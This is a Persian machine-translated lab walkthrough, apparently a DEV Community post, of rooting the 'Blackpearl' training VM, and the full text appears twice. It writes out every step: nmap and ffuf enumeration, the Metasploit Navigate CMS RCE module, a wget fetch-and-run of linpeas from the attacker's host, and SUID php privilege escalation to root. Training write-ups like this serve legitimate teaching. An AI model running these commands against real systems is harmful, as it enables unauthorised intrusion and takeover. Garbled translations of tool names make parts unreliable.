Blackpearl Walkthrough – انجمن DEV

Summarize this content to 400 words in Persian Lang
پس از روشن کردن دستگاه Blackpearl خود، با جزئیات وارد می شویم:نام کاربری: rootرمز عبور: tcm
برای دریافت آدرس IP خود، دستور زیر را وارد می کنیم:
dhclient
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
سپس دستور را وارد کنید:
ifconfig
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
اکنون که آدرس IP ما دریافت شده است، به دستگاه کالی خود می رویم و دستگاه blackpearl را در دیگری پینگ می کنیم تا تأیید کنیم که آنها می توانند با یکدیگر ارتباط برقرار کنند.از دستور استفاده کنید:
ping 192.168.158.129 -c3
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
توجه: به یاد داشته باشید که آدرس IP را به آدرس IP Blackpearl خود تغییر دهید.
از تصویر بالا می بینیم که هر دوی آنها قادر به برقراری ارتباط هستند، بنابراین در مرحله بعد با استفاده از دستور اسکن NMAP را اجرا می کنیم:
nmap -p- -A 192.168.158.129
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
از تصویر بالا می بینیم که 3 پورت از جمله پورت 80 باز هستند بنابراین سعی می کنیم با استفاده از آدرس IP دستگاه از صفحه وب پیش فرض بازدید کنیم.
بنابراین از مرورگر فایرفاکس ما از صفحه وب بازدید می کنیم *”192.168.158.129″*
کلیک راست کرده و روی view page source کلیک کنید
از منبع صفحه نمایش، چیزی به عنوان نوشته شده پیدا کردیم alek@blackpearl.tcm همانطور که از زیر مشاهده می شود، بنابراین ما آن را در جایی یادداشت می کنیم.
من نتوانستم چیز دیگری از صفحه پیدا کنم، بنابراین قدم بعدی من اکنون این است که با استفاده از ffuf دایرکتوری های مخفی را در صفحه پیدا کنم.از دستور استفاده کنید:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.158.129/FUZZ
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
بنابراین ما یک دایرکتوری مخفی به نام Secret همانطور که در زیر مشاهده می کنید پیدا کردیم
بنابراین به مرورگر خود برمی گردیم و از صفحه وب بازدید می کنیم:
192.168.158.129/secret
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
پس از بازدید از آن صفحه، یک فایل دریافت کردیم، آن را دانلود کردیم، آن را باز کردیم و هیچ کمکی نکرد.
از پورتهای باز شده ما به یاد میآوریم که پورت 53 برای DNS باز است، بنابراین اکنون سعی میکنیم کمی دوباره روی آن انجام دهیم.از دستور استفاده کنید:
dnsrecon -r 127.0.0.0/24 -n 192.168.182.148
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
NB- بعد از “-n” آدرس IP دستگاه blackpearl خود را وارد کنید
بنابراین متوجه شد که رکورد اشاره گر dns به blackpearl.tcm وجود دارد، به یاد داشته باشید که قبلا alek@blackpearl.tcm را پیدا کردیم. بنابراین اکنون باید برویم و آن را به میزبان DNS خود اضافه کنیم.از دستور استفاده کنید:
nano /etc/hosts
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
حالا وارد کنید آدرس IP دستگاه blackpearl شما و نام دامنه blackpearl.tcm همانطور که در تصویر بالا مشاهده می کنید، ذخیره کنید و خارج شوید.
اکنون در مرورگر خود، به صفحه مراجعه کنید:
http://blackpearl.tcm
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
بنابراین پس از شمارش های زیاد تصمیم گرفتم با استفاده از دستور blackpearl.tcm را برای دایرکتوری های مخفی جستجو کنم:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://blackpearl.tcm/FUZZ
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
همانطور که در تصویر بالا مشاهده می شود، یک دایرکتوری مخفی از navigate پیدا شد.
بنابراین اکنون به سمت پیمایش می رویم ( جناس در نظر گرفته شده lol)
در مرورگر وب خود از این صفحه دیدن کنید:
http://blackpearl.tcm/navigate/
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
یک صفحه وب navigatecms نمایش داده شد، بنابراین من به صورت آنلاین برای navigate cms exploit جستجو کردم.
روی گزینه موجود در بالا کلیک کنید.
توضیحات با نسخه ناوبری که میخواهیم از آن بهره برداری کنیم، مطابقت دارد.
برای استفاده از این باید متاسپلویت را روی کالی خود روشن کنیم و برای روشن کردن آن از دستور استفاده کنید:
msfconsole
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
از دستوری که در تصویر زیر مشاهده می کنید استفاده کنید
پس کپی کن “استفاده از exploit/multi/http/navigate_cms_rce” و روی msfconsole خود قرار دهید.
دستور را وارد کنید:
options
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
حالا باید rhost و vhost را تنظیم کنیم.دستور را وارد کنید:
set rhosts 192.168.182.148
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
و
set vhost blackpearl.tcm
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
دستور را وارد کنید *گزینه ها * دوباره برای تایید
حالا دستور را وارد کنید:
run
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
یک پوسته ترکیده است.دستور را وارد کنید:
shell
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
یک پوسته با موفقیت ایجاد شده است، اما ظاهر آن متفاوت از آنچه ما به آن عادت کرده ایم، به نظر می رسد، زیرا قرار است برای مثال یک user@چیزی را به ما نشان دهد و اینطور نیست.
بنابراین ما باید چیزی را تولید کنیم که به عنوان پوسته tty شناخته میشود، بنابراین tty shell را در گوگل جستجو میکنیم و روی نتیجه زیر کلیک میکنیم.
من ترجیح میدهم از پایتون استفاده کنم، بنابراین باید تأیید کنم که پایتون در دستگاه موجود است، بنابراین در پوستهای که ظاهر کردیم، دستور زیر را وارد کنید تا بررسی کنید که آیا پایتون در دستگاه وجود دارد یا خیر:
which python
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
تصویر بالا ثابت می کند که پایتون وجود دارد.پس دستور پایتون را کپی کنید.
اکنون آن را به دستور زیر ویرایش کنید، زیرا من می خواهم از bash استفاده کنم نه sh:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
حالا دستور بالا را در پوسته قرار دهید.
اکنون یک پوسته مناسب ظاهر شده است و ما باید امتیازات را افزایش دهیم زیرا کاربر سطح پایینی هستیم.برای این کار از نخود فرنگی استفاده می کنیم.
من قبلا linpeas را دانلود کرده ام، بنابراین باید یک برگه دیگر در kali خود باز کنم و یک وب سرور را در فهرستی که linpeas من در آن قرار دارد میزبانی کنم.
NB- اگر دانلود linpeas ندارید، می توانید در زیر نظر دهید و من به شما نشان خواهم داد که چگونه، و همچنین نوشته قبلی من قبلاً این موضوع را پوشش داده است.
بنابراین پس از انتقال به دایرکتوری که linpeas شما در آن قرار دارد، دستور زیر را وارد کنید:
python3 -m http.server 80
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
سپس در برگه پوسته خود، دستور زیر را وارد کنید:
wget http://192.168.182.129/linpeas.sh linpeas.sh
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
Linpeas با موفقیت ایردراپ شد.برای تایید دستور زیر را وارد کنید:
ls
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
حالا برای اینکه بتوانید linpeas را اجرا کنید، دستور را وارد کنید:
chmod +x linpeas.sh
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
و با استفاده از دستور اجرا کنید:
./linpeas.sh
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
وقتی به نخود فرنگی نگاه می کنیم، بیشتر روی هر چیزی که رنگ قرمز یا زرد دارد تمرکز می کنیم.
برای این جعبه خاص، ما عمدتاً بر روی آن تمرکز می کنیم س در تصویر بالا می توانیم هایلایت شده را ببینیم.حالا اگر با مجوزها آشنا هستید، می دانید که قرار است فقط rwx داشته باشیم که به ترتیب مخفف خواندن، نوشتن و اجرا است.
اما در فضای اجازه برای روت ما می بینیم اس یعنی میتوانیم باینری را بهعنوان روت اجرا کنیم و از ویژگی سوءاستفاده کنیم.
دستور زیر را وارد کنید تا تمام مجوزهایی را که میتوانیم بهعنوان روت و سوءاستفاده در یک تنظیمات بسیار تمیزتر اجرا کنیم، مشاهده کنید:
find / -type f -perm -4000 2>/dev/null
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
اکنون به وب سایت gtfobins در مرورگر خود مراجعه کنید
انتخاب کنید جنوب
به پایین اسکرول کنید و سپس انتخاب کنید php زیرا این تنها گزینه ای است که ما در اختیار داریم که از مجوزهایی که مجاز به اجرای آن به عنوان روت هستیم وجود دارد.
پس از کلیک بر روی php، به پایین اسکرول کرده و به دنبال suid بگردید.
اکنون فقط دستور برجسته شده در تصویر زیر را کپی می کنیم، زیرا به طور خاص باید باینری را فراخوانی کنیم زیرا فقط php نیست، php 7.3 ماست و باید مسیر فایل را درگیر کنیم.
بنابراین دستور را وارد کنید:
/usr/bin/php7.3 -r “pcntl_exec(‘/bin/sh’, [‘-p’]);”
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
پس از اجرا، دستور را وارد کنید:
whoami
وارد حالت تمام صفحه شوید
از حالت تمام صفحه خارج شوید
همانطور که می بینید ما تبدیل شده ایم به ROOT!
پس از روشن کردن دستگاه Blackpearl خود، با جزئیات وارد می شویم:
نام کاربری: root
رمز عبور: tcm
برای دریافت آدرس IP خود، دستور زیر را وارد می کنیم:
dhclient
سپس دستور را وارد کنید:
ifconfig
اکنون که آدرس IP ما دریافت شده است، به دستگاه کالی خود می رویم و دستگاه blackpearl را در دیگری پینگ می کنیم تا تأیید کنیم که آنها می توانند با یکدیگر ارتباط برقرار کنند.
از دستور استفاده کنید:
ping 192.168.158.129 -c3
توجه: به یاد داشته باشید که آدرس IP را به آدرس IP Blackpearl خود تغییر دهید.
از تصویر بالا می بینیم که هر دوی آنها قادر به برقراری ارتباط هستند، بنابراین در مرحله بعد با استفاده از دستور اسکن NMAP را اجرا می کنیم:
nmap -p- -A 192.168.158.129
از تصویر بالا می بینیم که 3 پورت از جمله پورت 80 باز هستند بنابراین سعی می کنیم با استفاده از آدرس IP دستگاه از صفحه وب پیش فرض بازدید کنیم.
بنابراین از مرورگر فایرفاکس ما از صفحه وب بازدید می کنیم *“192.168.158.129”
*
کلیک راست کرده و روی view page source کلیک کنید
از منبع صفحه نمایش، چیزی به عنوان نوشته شده پیدا کردیم alek@blackpearl.tcm همانطور که از زیر مشاهده می شود، بنابراین ما آن را در جایی یادداشت می کنیم.
من نتوانستم چیز دیگری از صفحه پیدا کنم، بنابراین قدم بعدی من اکنون این است که با استفاده از ffuf دایرکتوری های مخفی را در صفحه پیدا کنم.
از دستور استفاده کنید:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.158.129/FUZZ
بنابراین ما یک دایرکتوری مخفی به نام Secret همانطور که در زیر مشاهده می کنید پیدا کردیم
بنابراین به مرورگر خود برمی گردیم و از صفحه وب بازدید می کنیم:
192.168.158.129/secret
پس از بازدید از آن صفحه، یک فایل دریافت کردیم، آن را دانلود کردیم، آن را باز کردیم و هیچ کمکی نکرد.
از پورتهای باز شده ما به یاد میآوریم که پورت 53 برای DNS باز است، بنابراین اکنون سعی میکنیم کمی دوباره روی آن انجام دهیم.
از دستور استفاده کنید:
dnsrecon -r 127.0.0.0/24 -n 192.168.182.148
NB- بعد از “-n” آدرس IP دستگاه blackpearl خود را وارد کنید
بنابراین متوجه شد که رکورد اشاره گر dns به blackpearl.tcm وجود دارد، به یاد داشته باشید که قبلا alek@blackpearl.tcm را پیدا کردیم.
بنابراین اکنون باید برویم و آن را به میزبان DNS خود اضافه کنیم.
از دستور استفاده کنید:
nano /etc/hosts
حالا وارد کنید آدرس IP دستگاه blackpearl شما و نام دامنه blackpearl.tcm همانطور که در تصویر بالا مشاهده می کنید، ذخیره کنید و خارج شوید.
اکنون در مرورگر خود، به صفحه مراجعه کنید:
http://blackpearl.tcm
بنابراین پس از شمارش های زیاد تصمیم گرفتم با استفاده از دستور blackpearl.tcm را برای دایرکتوری های مخفی جستجو کنم:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://blackpearl.tcm/FUZZ
همانطور که در تصویر بالا مشاهده می شود، یک دایرکتوری مخفی از navigate پیدا شد.
بنابراین اکنون به سمت پیمایش می رویم ( جناس در نظر گرفته شده lol)
در مرورگر وب خود از این صفحه دیدن کنید:
http://blackpearl.tcm/navigate/
یک صفحه وب navigatecms نمایش داده شد، بنابراین من به صورت آنلاین برای navigate cms exploit جستجو کردم.
روی گزینه موجود در بالا کلیک کنید.
توضیحات با نسخه ناوبری که میخواهیم از آن بهره برداری کنیم، مطابقت دارد.
برای استفاده از این باید متاسپلویت را روی کالی خود روشن کنیم و برای روشن کردن آن از دستور استفاده کنید:
msfconsole
از دستوری که در تصویر زیر مشاهده می کنید استفاده کنید
پس کپی کن “استفاده از exploit/multi/http/navigate_cms_rce” و روی msfconsole خود قرار دهید.
دستور را وارد کنید:
options
حالا باید rhost و vhost را تنظیم کنیم.
دستور را وارد کنید:
set rhosts 192.168.182.148
و
set vhost blackpearl.tcm
دستور را وارد کنید *گزینه ها * دوباره برای تایید
حالا دستور را وارد کنید:
run
یک پوسته ترکیده است.
دستور را وارد کنید:
shell
یک پوسته با موفقیت ایجاد شده است، اما ظاهر آن متفاوت از آنچه ما به آن عادت کرده ایم، به نظر می رسد، زیرا قرار است برای مثال یک user@چیزی را به ما نشان دهد و اینطور نیست.
بنابراین ما باید چیزی را تولید کنیم که به عنوان پوسته tty شناخته میشود، بنابراین tty shell را در گوگل جستجو میکنیم و روی نتیجه زیر کلیک میکنیم.
من ترجیح میدهم از پایتون استفاده کنم، بنابراین باید تأیید کنم که پایتون در دستگاه موجود است، بنابراین در پوستهای که ظاهر کردیم، دستور زیر را وارد کنید تا بررسی کنید که آیا پایتون در دستگاه وجود دارد یا خیر:
which python
تصویر بالا ثابت می کند که پایتون وجود دارد.
پس دستور پایتون را کپی کنید.
اکنون آن را به دستور زیر ویرایش کنید، زیرا من می خواهم از bash استفاده کنم نه sh:
python -c 'import pty; pty.spawn("/bin/bash")'
حالا دستور بالا را در پوسته قرار دهید.
اکنون یک پوسته مناسب ظاهر شده است و ما باید امتیازات را افزایش دهیم زیرا کاربر سطح پایینی هستیم.
برای این کار از نخود فرنگی استفاده می کنیم.
من قبلا linpeas را دانلود کرده ام، بنابراین باید یک برگه دیگر در kali خود باز کنم و یک وب سرور را در فهرستی که linpeas من در آن قرار دارد میزبانی کنم.
NB- اگر دانلود linpeas ندارید، می توانید در زیر نظر دهید و من به شما نشان خواهم داد که چگونه، و همچنین نوشته قبلی من قبلاً این موضوع را پوشش داده است.
بنابراین پس از انتقال به دایرکتوری که linpeas شما در آن قرار دارد، دستور زیر را وارد کنید:
python3 -m http.server 80
سپس در برگه پوسته خود، دستور زیر را وارد کنید:
wget http://192.168.182.129/linpeas.sh linpeas.sh
Linpeas با موفقیت ایردراپ شد.
برای تایید دستور زیر را وارد کنید:
ls
حالا برای اینکه بتوانید linpeas را اجرا کنید، دستور را وارد کنید:
chmod +x linpeas.sh
و با استفاده از دستور اجرا کنید:
./linpeas.sh
وقتی به نخود فرنگی نگاه می کنیم، بیشتر روی هر چیزی که رنگ قرمز یا زرد دارد تمرکز می کنیم.
برای این جعبه خاص، ما عمدتاً بر روی آن تمرکز می کنیم س در تصویر بالا می توانیم هایلایت شده را ببینیم.
حالا اگر با مجوزها آشنا هستید، می دانید که قرار است فقط rwx داشته باشیم که به ترتیب مخفف خواندن، نوشتن و اجرا است.
اما در فضای اجازه برای روت ما می بینیم اس یعنی میتوانیم باینری را بهعنوان روت اجرا کنیم و از ویژگی سوءاستفاده کنیم.
دستور زیر را وارد کنید تا تمام مجوزهایی را که میتوانیم بهعنوان روت و سوءاستفاده در یک تنظیمات بسیار تمیزتر اجرا کنیم، مشاهده کنید:
find / -type f -perm -4000 2>/dev/null
اکنون به وب سایت gtfobins در مرورگر خود مراجعه کنید
انتخاب کنید جنوب
به پایین اسکرول کنید و سپس انتخاب کنید php زیرا این تنها گزینه ای است که ما در اختیار داریم که از مجوزهایی که مجاز به اجرای آن به عنوان روت هستیم وجود دارد.
پس از کلیک بر روی php، به پایین اسکرول کرده و به دنبال suid بگردید.
اکنون فقط دستور برجسته شده در تصویر زیر را کپی می کنیم، زیرا به طور خاص باید باینری را فراخوانی کنیم زیرا فقط php نیست، php 7.3 ماست و باید مسیر فایل را درگیر کنیم.
بنابراین دستور را وارد کنید:
/usr/bin/php7.3 -r "pcntl_exec('/bin/sh', ['-p']);"
پس از اجرا، دستور را وارد کنید:
whoami
همانطور که می بینید ما تبدیل شده ایم به ROOT!